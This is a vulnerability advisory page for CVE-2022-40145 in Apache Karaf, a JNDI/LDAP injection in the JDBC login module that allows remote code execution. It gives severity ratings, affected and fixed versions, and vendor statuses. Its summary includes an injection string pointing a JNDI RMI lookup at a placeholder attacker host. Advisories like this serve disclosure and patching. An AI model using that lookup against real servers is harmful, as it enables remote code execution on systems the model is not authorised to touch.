Apache Karaf: JDBC JAAS LDAP injection
Key facts
- Attack vector
- Network
- Privileges required
- None
- User interaction
- None
- Attack complexity
- Low
- Impact type
- —
- Confidentiality · integrity · availability
- High · High · High
- Fix status
- Partial Red Hat: 3 without a fix
Attack profile from CVSS 3.1 · CISA ADP. Fix status from CNA, GitHub and Red Hat.
Summary
This vulnerable is about a potential code injection when an attacker has control of the target LDAP server using in the JDBC JNDI URL. The function jaas.modules.src.main.java.porg.apache.karaf.jass.modules.jdbc.JDBCUtils#doCreateDatasource use InitialContext.lookup(jndiName) without filtering. An user can modify `options.put(JDBCUtils.DATASOURCE, "osgi:" + DataSource.class.getName());` to `options.put(JDBCUtils.DATASOURCE,"jndi:rmi://x.x.x.x:xxxx/Command");` in JdbcLoginModuleTest#setup. This is vulnerable to a remote code execution (RCE) attack when a configuration uses a JNDI LDAP data source URI when an attacker has control of the target LDAP server.This issue affects all versions of Apache Karaf up to 4.4.1 and 4.3.7. We encourage the users to upgrade to Apache Karaf at least 4.4.2 or 4.3.8
Why it matters now
SSVC decision points
CISA ADP · SSVC 2.0.3
- Exploitation
- None
- Automatable
- Yes
- Technical impact
- Total
The decision (Track, Attend, Act) also depends on your mission and well-being impact; see CISA's SSVC guide.
Affected products
| Vendor | Product | Affected versions | Fixed in | Status | Source |
|---|---|---|---|---|---|
| Apache | Apache Karaf | 4.4.0 to before 4.4.2; before 4.3.8 | 4.4.2, 4.3.8 | Patch available | CNA |
| — | org.apache.karaf:apache-karaf (Maven) | before 4.3.8 | 4.3.8 | Patch available | GHSA-c2p4-8mvv-rwmv |
| — | org.apache.karaf:apache-karaf (Maven) | 4.4.0 to before 4.4.2 | 4.4.2 | Patch available | GHSA-c2p4-8mvv-rwmv |
- Apache Karaf VendorApache Affected 4.4.0 to before 4.4.2; before 4.3.8 Fixed in 4.4.2, 4.3.8 Patch available CNA
- org.apache.karaf:apache-karaf (Maven) Vendor— Affected before 4.3.8 Fixed in 4.3.8 Patch available GHSA-c2p4-8mvv-rwmv
- org.apache.karaf:apache-karaf (Maven) Vendor— Affected 4.4.0 to before 4.4.2 Fixed in 4.4.2 Patch available GHSA-c2p4-8mvv-rwmv
Remediation
- Fix · CNA Apache Karaf (Apache Software Foundation) Fixed in 4.4.2, 4.3.8
- Fix · GHSA-c2p4-8mvv-rwmv org.apache.karaf:apache-karaf (Maven) Fixed in 4.3.8 Advisory →
- Fix · GHSA-c2p4-8mvv-rwmv org.apache.karaf:apache-karaf (Maven) Fixed in 4.4.2 Advisory →
Vendor assessments
Red Hat
Red Hat rating: Important. Red Hat's page for this CVE →
| Product | Status | Plan or fix |
|---|---|---|
| Red Hat JBoss A-MQ 6 | Affected | No fix planned: Out of support scope |
| Red Hat JBoss Data Grid 7 | Affected | No fix planned: Out of support scope |
| Red Hat JBoss Fuse 6 | Affected | No fix planned: Out of support scope |
Not affected: 3 products
- Red Hat Decision Manager 7
- Red Hat Fuse 7
- Red Hat Process Automation 7
Timeline
- 2026-10-02 Threatist record created from CVE-2022-40145
- 2026-10-03 Alias added: GHSA-c2p4-8mvv-rwmv
References
Advisory 2
More Apache Karaf vulnerabilities
- TI-2018-08445 XML external entity injection in Apache Karaf CVSS 3.0CRITICAL 9.8
- TI-2026-61863 Missing authorization in Apache Karaf CVSS 3.1CRITICAL 9.8
- TI-2026-61851 Apache Karaf: Path Traversal in Config Service Allows Manager-to-Admin Privilege Escalation CVSS 3.1CRITICAL 9.8
- TI-2020-17076 An issue was discovered in Legion of the Bouncy Castle BC Java 1.65 and 1.66. CVSS 3.1HIGH 8.1
- TI-2026-61846 Apache Karaf: OS Command Injection in Child-Instance Launch (instance:* / InstancesMBean) CVSS 3.1HIGH 8.8
- TI-2018-08443 Improper privilege management in Apache Karaf CVSS 3.0HIGH 8.8
Sources
- CVE-2022-40145 · CVE Program
- CVE-2022-40145 · NVD
- FIRST EPSS
- GHSA-c2p4-8mvv-rwmv · GitHub Advisory Database · CC BY 4.0
- CVE-2022-40145 · Red Hat security data · CC BY 4.0
This product uses the NVD API but is not endorsed or certified by the NVD. Sources and licences